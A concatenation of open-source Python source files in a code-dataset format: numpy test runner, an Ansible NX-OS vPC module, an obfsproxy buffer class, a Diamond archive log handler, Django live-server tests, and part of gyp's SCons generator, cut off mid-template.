LCOV_OUTPUT_FILE, '--output-directory', LCOV_HTML_DIR, '--legend', '--highlight']) if ret != 0: print("genhtml failed!") else: print("HTML output generated under build/lcov/") # # Python 3 support # if sys.version_info[0] >= 3: import builtins exec_ = getattr(builtins, "exec") else: def exec_(code, globs=None, locs=None): """Execute code in a namespace.""" if globs is None: frame = sys._getframe(1) globs = frame.f_globals if locs is None: locs = frame.f_locals del frame elif locs is None: locs = globs exec("""exec code in globs, locs""") if __name__ == "__main__": main(argv=sys.argv[1:])
moreati/numpy
runtests.py
Python
bsd-3-clause
15,724
#!/usr/bin/python # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # ANSIBLE_METADATA = {'metadata_version': '1.0', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: nxos_vpc_interface extends_documentation_fragment: nxos version_added: "2.2" short_description: Manages interface VPC configuration description: - Manages interface VPC configuration author: - Jason Edelman (@jedelman8) - Gabriele Gerbino (@GGabriele) notes: - Either vpc or peer_link param is required, but not both. - C(state=absent) removes whatever VPC config is on a port-channel if one exists. - Re-assigning a vpc or peerlink from one portchannel to another is not supported. The module will force the user to unconfigure an existing vpc/pl before configuring the same value on a new portchannel options: portchannel: description: - Group number of the portchannel that will be configured. required: true vpc: description: - VPC group/id that will be configured on associated portchannel. required: false default: null peer_link: description: - Set to true/false for peer link config on associated portchannel. required: false default: null state: description: - Manages desired state of the resource. required: true choices: ['present','absent'] ''' EXAMPLES = ''' - nxos_vpc_portchannel: portchannel: 10 vpc: 100 username: "{{ un }}" password: "{{ pwd }}" host: "{{ inventory_hostname }}" ''' RETURN = ''' proposed: description: k/v pairs of parameters passed into module returned: always type: dict sample: {"portchannel": "100", "vpc": "10"} existing: description: k/v pairs of existing configuration type: dict sample: {} end_state: description: k/v pairs of configuration after module execution returned: always type: dict sample: {"peer-link": false, "portchannel": "100", "vpc": "10"} updates: description: commands sent to the device returned: always type: list sample: ["interface port-channel100", "vpc 10"] changed: description: check to see if a change was made on the device returned: always type: boolean sample: true ''' from ansible.module_utils.nxos import get_config, load_config, run_commands from ansible.module_utils.nxos import nxos_argument_spec, check_args from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.netcfg import CustomNetworkConfig def execute_show_command(command, module, command_type='cli_show'): if module.params['transport'] == 'cli': command += ' | json' cmds = [command] body = run_commands(module, cmds) elif module.params['transport'] == 'nxapi': cmds = [command] body = run_commands(module, cmds) return body def flatten_list(command_lists): flat_command_list = [] for command in command_lists: if isinstance(command, list): flat_command_list.extend(command) else: flat_command_list.append(command) return flat_command_list def get_portchannel_list(module): command = 'show port-channel summary' portchannels = [] pc_list = [] body = execute_show_command(command, module) try: pc_list = body[0]['TABLE_channel']['ROW_channel'] except (KeyError, AttributeError): return portchannels if pc_list: if isinstance(pc_list, dict): pc_list = [pc_list] for pc in pc_list: portchannels.append(pc['group']) return portchannels def get_existing_portchannel_to_vpc_mappings(module): command = 'show vpc brief' pc_vpc_mapping = {} body = execute_show_command(command, module) try: vpc_table = body[0]['TABLE_vpc']['ROW_vpc'] except (KeyError, AttributeError, TypeError): vpc_table = None if vpc_table: if isinstance(vpc_table, dict): vpc_table = [vpc_table] for vpc in vpc_table: pc_vpc_mapping[str(vpc['vpc-id'])] = str(vpc['vpc-ifindex']) return pc_vpc_mapping def peer_link_exists(module): found = False run = get_vpc_running_config(module) vpc_list = run.split('\n') for each in vpc_list: if 'peer-link' in each: found = True return found def get_vpc_running_config(module): command = 'show running section vpc' body = execute_show_command(command, module, command_type='cli_show_ascii')[0] return body def get_active_vpc_peer_link(module): command = 'show vpc brief' peer_link = None body = execute_show_command(command, module) try: peer_link = body[0]['TABLE_peerlink']['ROW_peerlink']['peerlink-ifindex'] except (KeyError, AttributeError): return peer_link return peer_link def get_portchannel_vpc_config(module, portchannel): command = 'show vpc brief' peer_link_pc = None peer_link = False vpc = "" pc = "" config = {} body = execute_show_command(command, module) try: table = body[0]['TABLE_peerlink']['ROW_peerlink'] except (KeyError, AttributeError, TypeError): table = {} if table: peer_link_pc = table.get('peerlink-ifindex', None) if peer_link_pc: plpc = str(peer_link_pc[2:]) if portchannel == plpc: config['portchannel'] = portchannel config['peer-link'] = True config['vpc'] = vpc mapping = get_existing_portchannel_to_vpc_mappings(module) for existing_vpc, port_channel in mapping.items(): port_ch = str(port_channel[2:]) if port_ch == portchannel: pc = port_ch vpc = str(existing_vpc) config['portchannel'] = pc config['peer-link'] = peer_link config['vpc'] = vpc return config def get_commands_to_config_vpc_interface(portchannel, delta, config_value, existing): commands = [] if delta.get('peer-link') is False and existing.get('peer-link') is True: command = 'no vpc peer-link' commands.append('no vpc peer-link') commands.insert(0, 'interface port-channel{0}'.format(portchannel)) elif delta.get('peer-link') or not existing.get('vpc'): command = 'vpc {0}'.format(config_value) commands.append(command) commands.insert(0, 'interface port-channel{0}'.format(portchannel)) return commands def main(): argument_spec = dict( portchannel=dict(required=True, type='str'), vpc=dict(required=False, type='str'), peer_link=dict(required=False, type='bool'), state=dict(choices=['absent', 'present'], default='present'), include_defaults=dict(default=False), config=dict(), save=dict(type='bool', default=False) ) argument_spec.update(nxos_argument_spec) module = AnsibleModule(argument_spec=argument_spec, mutually_exclusive=[['vpc', 'peer_link']], supports_check_mode=True) warnings = list() check_args(module, warnings) portchannel = module.params['portchannel'] vpc = module.params['vpc'] peer_link = module.params['peer_link'] state = module.params['state'] changed = False args = {'portchannel': portchannel, 'vpc': vpc, 'peer-link': peer_link} active_peer_link = None if portchannel not in get_portchannel_list(module): module.fail_json(msg="The portchannel you are trying to make a" " VPC or PL is not created yet. " "Create it first!") if vpc: mapping = get_existing_portchannel_to_vpc_mappings(module) if vpc in mapping and portchannel != mapping[vpc].strip('Po'): module.fail_json(msg="This vpc is already configured on " "another portchannel. Remove it first " "before trying to assign it here. ", existing_portchannel=mapping[vpc]) for vpcid, existing_pc in mapping.items(): if portchannel == existing_pc.strip('Po') and vpcid != vpc: module.fail_json(msg="This portchannel already has another" " VPC configured. Remove it first " "before assigning this one", existing_vpc=vpcid) if peer_link_exists(module): active_peer_link = get_active_vpc_peer_link(module) if active_peer_link[-2:] == portchannel: module.fail_json(msg="That port channel is the current " "PEER LINK. Remove it if you want it" " to be a VPC") config_value = vpc elif peer_link is not None: if peer_link_exists(module): active_peer_link = get_active_vpc_peer_link(module)[2::] if active_peer_link != portchannel: if peer_link: module.fail_json(msg="A peer link already exists on" " the device. Remove it first", current_peer_link='Po{0}'.format( active_peer_link)) config_value = 'peer-link' proposed = dict((k, v) for k, v in args.items() if v is not None) existing = get_portchannel_vpc_config(module, portchannel) end_state = existing commands = [] if state == 'present': delta = dict(set(proposed.items()).difference(existing.items())) if delta: command = get_commands_to_config_vpc_interface( portchannel, delta, config_value, existing ) commands.append(command) elif state == 'absent': if existing.get('vpc'): command = ['no vpc'] commands.append(command) elif existing.get('peer-link'): command = ['no vpc peer-link'] commands.append(command) if commands: commands.insert(0, ['interface port-channel{0}'.format(portchannel)]) cmds = flatten_list(commands) if cmds: if module.check_mode: module.exit_json(changed=True, commands=cmds) else: changed = True load_config(module, cmds) if module.params['transport'] == 'cli': output = ' '.join(output) if 'error' in output.lower(): module.fail_json(msg=output.replace('\n', '')) end_state = get_portchannel_vpc_config(module, portchannel) if 'configure' in cmds: cmds.pop(0) results = {} results['proposed'] = proposed results['existing'] = existing results['end_state'] = end_state results['updates'] = cmds results['changed'] = changed results['warnings'] = warnings module.exit_json(**results) if __name__ == '__main__': main()
Slezhuk/ansible
lib/ansible/modules/network/nxos/nxos_vpc_interface.py
Python
gpl-3.0
11,899
class Buffer(object): """ A Buffer is a simple FIFO buffer. You write() stuff to it, and you read() them back. You can also peek() or drain() data. """ def __init__(self, data=''): """ Initialize a buffer with 'data'. """ self.buffer = bytes(data) def read(self, n=-1): """ Read and return 'n' bytes from the buffer. If 'n' is negative, read and return the whole buffer. If 'n' is larger than the size of the buffer, read and return the whole buffer. """ if (n < 0) or (n > len(self.buffer)): the_whole_buffer = self.buffer self.buffer = bytes('') return the_whole_buffer data = self.buffer[:n] self.buffer = self.buffer[n:] return data def write(self, data): """ Append 'data' to the buffer. """ self.buffer = self.buffer + data def peek(self, n=-1): """ Return 'n' bytes from the buffer, without draining them. If 'n' is negative, return the whole buffer. If 'n' is larger than the size of the buffer, return the whole buffer. """ if (n < 0) or (n > len(self.buffer)): return self.buffer return self.buffer[:n] def drain(self, n=-1): """ Drain 'n' bytes from the buffer. If 'n' is negative, drain the whole buffer. If 'n' is larger than the size of the buffer, drain the whole buffer. """ if (n < 0) or (n > len(self.buffer)): self.buffer = bytes('') return self.buffer = self.buffer[n:] return def __len__(self): """Returns length of buffer. Used in len().""" return len(self.buffer) def __nonzero__(self): """ Returns True if the buffer is non-empty. Used in truth-value testing. """ return True if len(self.buffer) else False
infinity0/obfsproxy
obfsproxy/network/buffer.py
Python
bsd-3-clause
1,998
# coding=utf-8 """ Write the collected stats to a locally stored log file. Rotate the log file every night and remove after 7 days. """ from Handler import Handler import logging import logging.handlers class ArchiveHandler(Handler): """ Implements the Handler abstract class, archiving data to a log file """ def __init__(self, config): """ Create a new instance of the ArchiveHandler class """ # Initialize Handler Handler.__init__(self, config) # Create Archive Logger self.archive = logging.getLogger('archive') self.archive.setLevel(logging.DEBUG) self.archive.propagate = self.config['propagate'] # Create Archive Log Formatter formatter = logging.Formatter('%(message)s') # Create Archive Log Handler handler = logging.handlers.TimedRotatingFileHandler( filename=self.config['log_file'], when='midnight', interval=1, backupCount=int(self.config['days']), encoding=self.config['encoding'] ) handler.setFormatter(formatter) handler.setLevel(logging.DEBUG) self.archive.addHandler(handler) def get_default_config_help(self): """ Returns the help text for the configuration options for this handler """ config = super(ArchiveHandler, self).get_default_config_help() config.update({ 'log_file': 'Path to the logfile', 'days': 'How many days to store', 'encoding': '', 'propagate': 'Pass handled metrics to configured root logger', }) return config def get_default_config(self): """ Return the default config for the handler """ config = super(ArchiveHandler, self).get_default_config() config.update({ 'log_file': '', 'days': 7, 'encoding': None, 'propagate': False, }) return config def process(self, metric): """ Send a Metric to the Archive. """ # Archive Metric self.archive.info(str(metric).strip())
Ormod/Diamond
src/diamond/handler/archive.py
Python
mit
2,195
# -*- encoding: utf-8 -*- """ Tests for django.core.servers. """ from __future__ import unicode_literals import os import socket try: from urllib.request import urlopen, HTTPError except ImportError: # Python 2 from urllib2 import urlopen, HTTPError from django.core.exceptions import ImproperlyConfigured from django.test import LiveServerTestCase from django.test.utils import override_settings from django.utils.http import urlencode from django.utils._os import upath from .models import Person TEST_ROOT = os.path.dirname(upath(__file__)) TEST_SETTINGS = { 'MEDIA_URL': '/media/', 'MEDIA_ROOT': os.path.join(TEST_ROOT, 'media'), 'STATIC_URL': '/static/', 'STATIC_ROOT': os.path.join(TEST_ROOT, 'static'), } class LiveServerBase(LiveServerTestCase): urls = 'regressiontests.servers.urls' fixtures = ['testdata.json'] @classmethod def setUpClass(cls): # Override settings cls.settings_override = override_settings(**TEST_SETTINGS) cls.settings_override.enable() super(LiveServerBase, cls).setUpClass() @classmethod def tearDownClass(cls): # Restore original settings cls.settings_override.disable() super(LiveServerBase, cls).tearDownClass() def urlopen(self, url): return urlopen(self.live_server_url + url) class LiveServerAddress(LiveServerBase): """ Ensure that the address set in the environment variable is valid. Refs #2879. """ @classmethod def setUpClass(cls): # Backup original environment variable address_predefined = 'DJANGO_LIVE_TEST_SERVER_ADDRESS' in os.environ old_address = os.environ.get('DJANGO_LIVE_TEST_SERVER_ADDRESS') # Just the host is not accepted cls.raises_exception('localhost', ImproperlyConfigured) # The host must be valid cls.raises_exception('blahblahblah:8081', socket.error) # The list of ports must be in a valid format cls.raises_exception('localhost:8081,', ImproperlyConfigured) cls.raises_exception('localhost:8081,blah', ImproperlyConfigured) cls.raises_exception('localhost:8081-', ImproperlyConfigured) cls.raises_exception('localhost:8081-blah', ImproperlyConfigured) cls.raises_exception('localhost:8081-8082-8083', ImproperlyConfigured) # If contrib.staticfiles isn't configured properly, the exception # should bubble up to the main thread. old_STATIC_URL = TEST_SETTINGS['STATIC_URL'] TEST_SETTINGS['STATIC_URL'] = None cls.raises_exception('localhost:8081', ImproperlyConfigured) TEST_SETTINGS['STATIC_URL'] = old_STATIC_URL # Restore original environment variable if address_predefined: os.environ['DJANGO_LIVE_TEST_SERVER_ADDRESS'] = old_address else: del os.environ['DJANGO_LIVE_TEST_SERVER_ADDRESS'] @classmethod def raises_exception(cls, address, exception): os.environ['DJANGO_LIVE_TEST_SERVER_ADDRESS'] = address try: super(LiveServerAddress, cls).setUpClass() raise Exception("The line above should have raised an exception") except exception: pass finally: super(LiveServerAddress, cls).tearDownClass() def test_test_test(self): # Intentionally empty method so that the test is picked up by the # test runner and the overriden setUpClass() method is executed. pass class LiveServerViews(LiveServerBase): def test_404(self): """ Ensure that the LiveServerTestCase serves 404s. Refs #2879. """ try: self.urlopen('/') except HTTPError as err: self.assertEqual(err.code, 404, 'Expected 404 response') else: self.fail('Expected 404 response') def test_view(self): """ Ensure that the LiveServerTestCase serves views. Refs #2879. """ f = self.urlopen('/example_view/') self.assertEqual(f.read(), b'example view') def test_static_files(self): """ Ensure that the LiveServerTestCase serves static files. Refs #2879. """ f = self.urlopen('/static/example_static_file.txt') self.assertEqual(f.read().rstrip(b'\r\n'), b'example static file') def test_media_files(self): """ Ensure that the LiveServerTestCase serves media files. Refs #2879. """ f = self.urlopen('/media/example_media_file.txt') self.assertEqual(f.read().rstrip(b'\r\n'), b'example media file') def test_environ(self): f = self.urlopen('/environ_view/?%s' % urlencode({'q': 'тест'})) self.assertIn(b"QUERY_STRING: 'q=%D1%82%D0%B5%D1%81%D1%82'", f.read()) class LiveServerDatabase(LiveServerBase): def test_fixtures_loaded(self): """ Ensure that fixtures are properly loaded and visible to the live server thread. Refs #2879. """ f = self.urlopen('/model_view/') self.assertEqual(f.read().splitlines(), [b'jane', b'robert']) def test_database_writes(self): """ Ensure that data written to the database by a view can be read. Refs #2879. """ self.urlopen('/create_model_instance/') self.assertQuerysetEqual( Person.objects.all().order_by('pk'), ['jane', 'robert', 'emily'], lambda b: b.name )
waseem18/oh-mainline
vendor/packages/Django/tests/regressiontests/servers/tests.py
Python
agpl-3.0
5,529
# Copyright (c) 2012 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import gyp import gyp.common import gyp.SCons as SCons import os.path import pprint import re # TODO: remove when we delete the last WriteList() call in this module WriteList = SCons.WriteList generator_default_variables = { 'EXECUTABLE_PREFIX': '', 'EXECUTABLE_SUFFIX': '', 'STATIC_LIB_PREFIX': '${LIBPREFIX}', 'SHARED_LIB_PREFIX': '${SHLIBPREFIX}', 'STATIC_LIB_SUFFIX': '${LIBSUFFIX}', 'SHARED_LIB_SUFFIX': '${SHLIBSUFFIX}', 'INTERMEDIATE_DIR': '${INTERMEDIATE_DIR}', 'SHARED_INTERMEDIATE_DIR': '${SHARED_INTERMEDIATE_DIR}', 'OS': 'linux', 'PRODUCT_DIR': '$TOP_BUILDDIR', 'SHARED_LIB_DIR': '$LIB_DIR', 'LIB_DIR': '$LIB_DIR', 'RULE_INPUT_ROOT': '${SOURCE.filebase}', 'RULE_INPUT_DIRNAME': '${SOURCE.dir}', 'RULE_INPUT_EXT': '${SOURCE.suffix}', 'RULE_INPUT_NAME': '${SOURCE.file}', 'RULE_INPUT_PATH': '${SOURCE.abspath}', 'CONFIGURATION_NAME': '${CONFIG_NAME}', } # Tell GYP how to process the input for us. generator_handles_variants = True generator_wants_absolute_build_file_paths = True def FixPath(path, prefix): if not os.path.isabs(path) and not path[0] == '$': path = prefix + path return path header = """\ # This file is generated; do not edit. """ _alias_template = """ if GetOption('verbose'): _action = Action([%(action)s]) else: _action = Action([%(action)s], %(message)s) _outputs = env.Alias( ['_%(target_name)s_action'], %(inputs)s, _action ) env.AlwaysBuild(_outputs) """ _run_as_template = """ if GetOption('verbose'): _action = Action([%(action)s]) else: _action = Action([%(action)s], %(message)s) """ _run_as_template_suffix = """ _run_as_target = env.Alias('run_%(target_name)s', target_files, _action) env.Requires(_run_as_target, [ Alias('%(target_name)s'), ]) env.AlwaysBuild(_run_as_target) """ _command_template = """ if GetOption('verbose'): _action = Action([%(action)s]) else: _action = Action([%(action)s], %(message)s) _outputs = env.Command( %(outputs)s, %(inputs)s, _action ) """ # This is copied from the default SCons action, updated to handle symlinks. _copy_action_template = """ import shutil import SCons.Action def _copy_files_or_dirs_or_symlinks(dest, src): SCons.Node.FS.invalidate_node_memos(dest) if SCons.Util.is_List(src) and os.path.isdir(dest): for file in src: shutil.copy2(file, dest) return 0 elif os.path.islink(src): linkto = os.readlink(src) os.symlink(linkto, dest) return 0 elif os.path.isfile(src): return shutil.copy2(src, dest) else: return shutil.copytree(src, dest, 1) def _copy_files_or_dirs_or_symlinks_str(dest, src): return 'Copying %s to %s ...' % (src, dest) GYPCopy = SCons.Action.ActionFactory(_copy_files_or_dirs_or_symlinks, _copy_files_or_dirs_or_symlinks_str, convert=str) """ _rule_template = """ %(name)s_additional_inputs = %(inputs)s %(name)s_outputs = %(outputs)s def %(name)s_emitter(target, source, env): return (%(name)s_outputs, source + %(name)s_additional_inputs) if GetOption('verbose'): %(name)s_action = Action([%(action)s]) else: %(name)s_action = Action([%(action)s], %(message)s) env['BUILDERS']['%(name)s'] = Builder(action=%(name)s_action, emitter=%(name)s_emitter) _outputs = [] _processed_input_files = [] for infile in input_files: if (type(infile) == type('') and not os.path.isabs(infile) and not infile[0] == '$'): infile = %(src_dir)r + infile if str(infile).endswith('.%(extension)s'): _generated = env.%(name)s(infile) env.Precious(_generated) _outputs.append(_generated) %(process_outputs_as_sources_line)s else: _processed_input_files.append(infile) prerequisites.extend(_outputs) input_files = _processed_input_files """ _spawn_hack = """ import re import SCons.Platform.posix needs_shell = re.compile('["\\'><!^&]') def gyp_spawn(sh, escape, cmd, args, env): def strip_scons_quotes(arg): if arg[0] == '"' and arg[-1] == '"': return arg[1:-1] return arg stripped_args = [strip_scons_quotes(a) for a in args] if needs_shell.search(' '.join(stripped_args)): return SCons.Platform.posix.exec_spawnvpe([sh, '-c', ' '.join(args)], env) else: return SCons.Platform.posix.exec_spawnvpe(stripped_args, env) """ def EscapeShellArgument(s): """Quotes an argument so that it will be interpreted literally by a POSIX shell. Taken from http://stackoverflow.com/questions/35817/whats-the-best-way-to-escape-ossystem-calls-in-python """ return "'" + s.replace("'", "'\\''") + "'" def InvertNaiveSConsQuoting(s): """SCons tries to "help" with quoting by naively putting double-quotes around command-line arguments containing space or tab, which is broken for all but trivial cases, so we undo it. (See quote_spaces() in Subst.py)""" if ' ' in s or '\t' in s: # Then SCons will put double-quotes around this, so add our own quotes # to close its quotes at the beginning and end. s = '"' + s + '"' return s def EscapeSConsVariableExpansion(s): """SCons has its own variable expansion syntax using $. We must escape it for strings to be interpreted literally. For some reason this requires four dollar signs, not two, even without the shell involved.""" return s.replace('$', '$$$$') def EscapeCppDefine(s): """Escapes a CPP define so that it will reach the compiler unaltered.""" s = EscapeShellArgument(s) s = InvertNaiveSConsQuoting(s) s = EscapeSConsVariableExpansion(s) return s def GenerateConfig(fp, config, indent='', src_dir=''): """ Generates SCons dictionary items for a gyp configuration. This provides the main translation between the (lower-case) gyp settings keywords and the (upper-case) SCons construction variables. """ var_mapping = { 'ASFLAGS' : 'asflags', 'CCFLAGS' : 'cflags', 'CFLAGS' : 'cflags_c', 'CXXFLAGS' : 'cflags_cc', 'CPPDEFINES' : 'defines', 'CPPPATH' : 'include_dirs', # Add the ldflags value to $LINKFLAGS, but not $SHLINKFLAGS. # SCons defines $SHLINKFLAGS to incorporate $LINKFLAGS, so # listing both here would case 'ldflags' to get appended to # both, and then have it show up twice on the command line. 'LINKFLAGS' : 'ldflags', } postamble='\n%s],\n' % indent for scons_var in sorted(var_mapping.keys()): gyp_var = var_mapping[scons_var] value = config.get(gyp_var) if value: if gyp_var in ('defines',): value = [EscapeCppDefine(v) for v in value] if gyp_var in ('include_dirs',): if src_dir and not src_dir.endswith('/'): src_dir += '/' result = [] for v in value: v = FixPath(v, src_dir) # Force SCons to evaluate the CPPPATH directories at # SConscript-read time, so delayed evaluation of $SRC_DIR # doesn't point it to the --generator-output= directory. result.append('env.Dir(%r)' % v) value = result else: value = map(repr, value) WriteList(fp, value, prefix=indent, preamble='%s%s = [\n ' % (indent, scons_var), postamble=postamble) def GenerateSConscript(output_filename, spec, build_file, build_file_data): """ Generates a SConscript file for a specific target. This generates a SConscript file suitable for building any or all of the target's configurations. A SConscript file may be called multiple times to generate targets for multiple configurations. Consequently, it needs to be ready to build the target for any requested configuration, and therefore contains information about the settings for all configurations (generated into the SConscript file at gyp configuration time) as well as logic for selecting (at SCons build time) the specific configuration being built. The general outline of a generated SConscript file is: -- Header -- Import 'env'. This contains a $CONFIG_NAME construction variable that specifies what configuration to build (e.g. Debug, Release). -- Configurations. This is a dictionary with settings for the different configurations (Debug, Release) under which this target can be built. The values in the dictionary are themselves dictionaries specifying what construction variables should added to the local copy of the imported construction environment (Append), should be removed (FilterOut), and should outright replace the imported values (Replace). -- Clone the imported construction environment and update with the proper configuration settings. -- Initialize the lists of the targets' input files and prerequisites. -- Target-specific actions and rules. These come after the input file and prerequisite initializations because the outputs of the actions and rules may affect the input file list (process_outputs_as_sources) and get added to the list of prerequisites (so that they're guaranteed to be executed before building the target). -- Call the Builder for the target itself. -- Arrange for any copies to be made into installation directories. -- Set up the {name} Alias (phony Node) for the target as the primary handle for building all of the target's pieces. -- Use env.Require() to make sure the prerequisites (explicitly specified, but also including the actions and rules) are built before the target itself. -- Return the {name} Alias to the calling SConstruct file so it can be added to the list of default targets. """ scons_target = SCons.Target(spec) gyp_dir = os.path.dirname(output_filename) if not gyp_dir: gyp_dir = '.' gyp_dir = os.path.abspath(gyp_dir) output_dir = os.path.dirname(output_filename) src_dir = build_file_data['_DEPTH'] src_dir_rel = gyp.common.RelativePath(src_dir, output_dir) subdir = gyp.common.RelativePath(os.path.dirname(build_file), src_dir) src_subdir = '$SRC_DIR/' + subdir src_subdir_ = src_subdir + '/' component_name = os.path.splitext(os.path.basename(build_file))[0] target_name = spec['target_name'] if not os.path.exists(gyp_dir): os.makedirs(gyp_dir) fp = open(output_filename, 'w') fp.write(header) fp.write('\nimport os\n') fp.write('\nImport("env")\n') # fp.write('\n') fp.write('env = env.Clone(COMPONENT_NAME=%s,\n' % repr(component_name)) fp.write(' TARGET_NAME=%s)\n' % repr(target_name)) # for config in spec['configurations'].itervalues(): if config.get('scons_line_length'): fp.write(_spawn_hack) break # indent = ' ' * 12 fp.write('\n') fp.write('configurations = {\n') for config_name, config in spec['configurations'].iteritems(): fp.write(' \'%s\' : {\n' % config_name) fp.write(' \'Append\' : dict(\n') GenerateConfig(fp, config, indent, src_subdir) libraries = spec.get('libraries') if libraries: WriteList(fp, map(repr, libraries), prefix=indent, preamble='%sLIBS = [\n ' % indent, postamble='\n%s],\n' % indent) fp.write(' ),\n') fp.write(' \'FilterOut\' : dict(\n' ) for key, var in config.get('scons_remove', {}).iteritems(): fp.write(' %s = %s,\n' % (key, repr(var))) fp.write(' ),\n') fp.write(' \'Replace\' : dict(\n' ) scons_settings = config.get('scons_variable_settings', {}) for key in sorted(scons_settings.keys()): val = pprint.pformat(scons_settings[key]) fp.write(' %s = %s,\n' % (key, val)) if 'c++' in spec.get('link_languages', []): fp.write(' %s = %s,\n' % ('LINK', repr('$CXX'))) if config.get('scons_line_length'): fp.write(' SPAWN = gyp_spawn,\n') fp.write(' ),\n') fp.write(' \'ImportExternal\' : [\n' ) for var in config.get('scons_import_variables', []): fp.write(' %s,\n' % repr(var)) fp.write(' ],\n') fp.write(' \'PropagateExternal\' : [\n' ) for var in config.get('scons_propagate_variables', []): fp.write(' %s,\n' % repr(var)) fp.write(' ],\n') fp.write(' },\n') fp.write('}\n') fp.write('\n' 'config = configurations[env[\'CONFIG_NAME\']]\n' 'env.Append(**config[\'Append\'])\n' 'env.FilterOut(**config[\'FilterOut\'])\n' 'env.Replace(**config[\'Replace\'])\n') fp.write('\n' '# Scons forces -fPIC for SHCCFLAGS on some platforms.\n' '# Disable that so we can control it from cflags in gyp.\n' '# Note that Scons itself is inconsistent with its -fPIC\n' '# setting. SHCCFLAGS forces -fPIC, and SHCFLAGS does not.\n' '# This will make SHCCFLAGS consistent with SHCFLAGS.\n' 'env[\'SHCCFLAGS\'] = [\'$CCFLAGS\']\n') fp.write('\n' 'for _var in config[\'ImportExternal\']:\n' ' if _var in ARGUMENTS:\n' ' env[_var] = ARGUMENTS[_var]\n' ' elif _var in os.environ:\n' ' env[_var] = os.environ[_var]\n' 'for _var in config[\'PropagateExternal\']:\n' ' if _var in ARGUMENTS:\n' ' env[_var] = ARGUMENTS[_var]\n' ' elif _var in os.environ:\n' ' env[\'ENV\'][_var] = os.environ[_var]\n') fp.write('\n' "env['ENV']['LD_LIBRARY_PATH'] = env.subst('$LIB_DIR')\n") # #fp.write("\nif env.has_key('CPPPATH'):\n") #fp.write(" env['CPPPATH'] = map(env.Dir, env['CPPPATH'])\n") variants = spec.get('variants', {}) for setting in sorted(variants.keys()): if_fmt = 'if ARGUMENTS.get(%s) not in (None, \'0\'):\n' fp.write('\n') fp.write(if_fmt % repr(setting.upper())) fp.write(' env.AppendUnique(\n') GenerateConfig(fp, variants[setting], indent, src_subdir) fp.write(' )\n') # scons_target.write_input_files(fp) fp.write('\n') fp.write('target_files = []\n') prerequisites = spec.get('scons_prerequisites', []) fp.write('prerequisites = %s\n' % pprint.pformat(prerequisites)) actions = spec.get('actions', []) for action in actions: a = ['cd', src_subdir, '&&'] + action['action'] message = action.get('message') if message: message = repr(message) inputs = [FixPath(f, src_subdir_) for f in action.get('inputs', [])] outputs = [FixPath(f, src_subdir_) for f in action.get('outputs', [])] if outputs: template = _command_template else: template = _alias_template fp.write(template % { 'inputs' : pprint.pformat(inputs), 'outputs' : pprint.pformat(outputs), 'action' : pprint.pformat(a), 'message' : message, 'target_name': target_name, }) if int(action.get('process_outputs_as_sources', 0)): fp.write('input_files.extend(_outputs)\n') fp.write('prerequisites.extend(_outputs)\n') fp.write('target_files.extend(_outputs)\n') rules = spec.get('rules', []) for rule in rules: name = re.sub('[^a-zA-Z0-9_]', '_', rule['rule_name']) message = rule.get('message') if message: message = repr(message) if int(rule.get('process_outputs_as_sources', 0)): poas_line = '_processed_input_files.extend(_generated)' else: poas_line = '_processed_input_files.append(infile)' inputs = [FixPath(f, src_subdir_) for f in rule.get('inputs', [])] outputs = [FixPath(f, src_subdir_) for f in rule.get('outputs', [])] # Skip a rule with no action and no inputs. if 'action' not in rule and not rule.get('rule_sources', []): continue a = ['cd', src_subdir, '&&'] + rule['action'] fp.write(_rule_template % { 'inputs' : pprint.pformat(inputs), 'outputs' : pprint.pformat(outputs), 'action' : pprint.pformat(a), 'extension' : rule['extension'], 'name' : name, 'message' : message, 'process_outputs_as_sources_line' : poas_line, 'src_dir' : src_subdir_, }) scons_target.write_target(fp, src_subdir) copies = spec.get('copies', []) if copies: fp.write(_copy_action_template) for copy in copies: destdir = None files = None try: destdir = copy['destination'] except KeyError, e: gyp.common.ExceptionAppend( e, "Required 'destination' key missing for 'copies' in %s." % build_file) raise try: files = copy['files'] except KeyError, e: gyp.common.ExceptionAppend( e, "Required 'files' key missing for 'copies' in %s." % build_file) raise if not files: # TODO: should probably add a (suppressible) warning; # a null file list may be unintentional. continue if not destdir: raise Exception( "Required 'destination' key is empty for 'copies' in %s." % build_file) fmt = ('\n' '_outputs = env.Command(%s,\n' ' %s,\n' ' GYPCopy(\'$TARGET\', \'$SOURCE\'))\n') for f in copy['files']: # Remove trailing separators so basename() acts like Unix basename and # always returns the last element, whether a file or dir. Without this, # only the contents, not the directory itself, are copied (and nothing # might be copied if dest already exists, since scons thinks nothing needs # to be done). dest = os.path.join(destdir, os.path.basename(f.rstrip(os.sep))) f = FixPath(f, src_subdir_) dest = FixPath(dest, src_subdir_) fp.write(fmt % (repr(dest), repr(f))) fp.write('target_files.extend(_outputs)\n') run_as = spec.get('run_as') if run_as: action = run_as.get('action', []) working_directory = run_as.get('working_directory') if not working_directory: working_directory = gyp_dir else: if not os.path.isabs(working_directory): working_directory = os.path.normpath(os.path.join(gyp_dir, working_directory)) if run_as.get('environment'): for (key, val) in run_as.get('environment').iteritems(): action = ['%s="%s"' % (key, val)] + action action = ['cd', '"%s"' % working_directory, '&&'] + action fp.write(_run_as_template % { 'action' : pprint.pformat(action), 'message' : run_as.get('message', ''), }) fmt = "\ngyp_target = env.Alias('%s', target_files)\n" fp.write(fmt % target_name) dependencies = spec.get('scons_dependencies', []) if dependencies: WriteList(fp, dependencies, preamble='dependencies = [\n ', postamble='\n]\n') fp.write('env.Requires(target_files, dependencies)\n') fp.write('env.Requires(gyp_target, dependencies)\n') fp.write('for prerequisite in prerequisites:\n') fp.write(' env.Requires(prerequisite, dependencies)\n') fp.write('env.Requires(gyp_target, prerequisites)\n') if run_as: fp.write(_run_as_template_suffix % { 'target_name': target_name, }) fp.write('Return("gyp_target")\n') fp.close() ############################################################################# # TEMPLATE BEGIN _wrapper_template = """\ __doc__ = ''' Wrapper configuration for building this entire "solution," including all the specific targets in various *.scons files. ''' import os import sys import SCons.Environment import SCons.Util def GetProcessorCount(): ''' Detects the 